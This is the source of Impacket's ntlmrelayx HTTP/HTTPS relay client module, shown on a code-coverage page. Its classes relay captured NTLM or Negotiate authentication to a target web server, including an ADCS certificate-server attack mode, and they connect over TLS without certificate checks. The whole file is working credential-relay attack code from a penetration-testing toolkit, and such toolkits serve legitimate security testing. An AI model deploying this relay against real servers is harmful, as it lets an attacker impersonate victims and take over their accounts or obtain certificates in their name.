Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# HTTP Protocol Client 

11# HTTP(s) client for relaying NTLMSSP authentication to webservers 

12# 

13# Author: 

14# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 

15# Alberto Solino (@agsolino) 

16# 

17import re 

18import ssl 

19try: 

20 from http.client import HTTPConnection, HTTPSConnection, ResponseNotReady 

21except ImportError: 

22 from httplib import HTTPConnection, HTTPSConnection, ResponseNotReady 

23import base64 

24 

25from struct import unpack 

26from impacket import LOG 

27from impacket.examples.ntlmrelayx.clients import ProtocolClient 

28from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

29from impacket.ntlm import NTLMAuthChallenge 

30from impacket.spnego import SPNEGO_NegTokenResp 

31 

32PROTOCOL_CLIENT_CLASSES = ["HTTPRelayClient","HTTPSRelayClient"] 

33 

34class HTTPRelayClient(ProtocolClient): 

35 PLUGIN_NAME = "HTTP" 

36 

37 def __init__(self, serverConfig, target, targetPort = 80, extendedSecurity=True ): 

38 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

39 self.extendedSecurity = extendedSecurity 

40 self.negotiateMessage = None 

41 self.authenticateMessageBlob = None 

42 self.server = None 

43 self.authenticationMethod = None 

44 

45 def initConnection(self): 

46 self.session = HTTPConnection(self.targetHost,self.targetPort) 

47 self.lastresult = None 

48 if self.target.path == '': 

49 self.path = '/' 

50 else: 

51 self.path = self.target.path 

52 return True 

53 

54 def sendNegotiate(self,negotiateMessage): 

55 #Check if server wants auth 

56 self.session.request('GET', self.path) 

57 res = self.session.getresponse() 

58 res.read() 

59 if res.status != 401: 

60 LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) 

61 try: 

62 if 'NTLM' not in res.getheader('WWW-Authenticate') and 'Negotiate' not in res.getheader('WWW-Authenticate'): 

63 LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) 

64 return False 

65 if 'NTLM' in res.getheader('WWW-Authenticate'): 

66 self.authenticationMethod = "NTLM" 

67 elif 'Negotiate' in res.getheader('WWW-Authenticate'): 

68 self.authenticationMethod = "Negotiate" 

69 except (KeyError, TypeError): 

70 LOG.error('No authentication requested by the server for url %s' % self.targetHost) 

71 if self.serverConfig.isADCSAttack: 

72 LOG.info('IIS cert server may allow anonymous authentication, sending NTLM auth anyways') 

73 else: 

74 return False 

75 

76 #Negotiate auth 

77 negotiate = base64.b64encode(negotiateMessage).decode("ascii") 

78 headers = {'Authorization':'%s %s' % (self.authenticationMethod, negotiate)} 

79 self.session.request('GET', self.path ,headers=headers) 

80 res = self.session.getresponse() 

81 res.read() 

82 try: 

83 serverChallengeBase64 = re.search(('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1) 

84 serverChallenge = base64.b64decode(serverChallengeBase64) 

85 challenge = NTLMAuthChallenge() 

86 challenge.fromString(serverChallenge) 

87 return challenge 

88 except (IndexError, KeyError, AttributeError): 

89 LOG.error('No NTLM challenge returned from server') 

90 return False 

91 

92 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

93 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

94 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

95 token = respToken2['ResponseToken'] 

96 else: 

97 token = authenticateMessageBlob 

98 auth = base64.b64encode(token).decode("ascii") 

99 headers = {'Authorization':'%s %s' % (self.authenticationMethod, auth)} 

100 self.session.request('GET', self.path,headers=headers) 

101 res = self.session.getresponse() 

102 if res.status == 401: 

103 return None, STATUS_ACCESS_DENIED 

104 else: 

105 LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status) 

106 #Cache this 

107 self.lastresult = res.read() 

108 return None, STATUS_SUCCESS 

109 

110 def killConnection(self): 

111 if self.session is not None: 

112 self.session.close() 

113 self.session = None 

114 

115 def keepAlive(self): 

116 # Do a HEAD for favicon.ico 

117 self.session.request('HEAD','/favicon.ico') 

118 self.session.getresponse() 

119 

120class HTTPSRelayClient(HTTPRelayClient): 

121 PLUGIN_NAME = "HTTPS" 

122 

123 def __init__(self, serverConfig, target, targetPort = 443, extendedSecurity=True ): 

124 HTTPRelayClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

125 

126 def initConnection(self): 

127 self.lastresult = None 

128 if self.target.path == '': 

129 self.path = '/' 

130 else: 

131 self.path = self.target.path 

132 try: 

133 uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) 

134 self.session = HTTPSConnection(self.targetHost,self.targetPort, context=uv_context) 

135 except AttributeError: 

136 self.session = HTTPSConnection(self.targetHost,self.targetPort) 

137 return True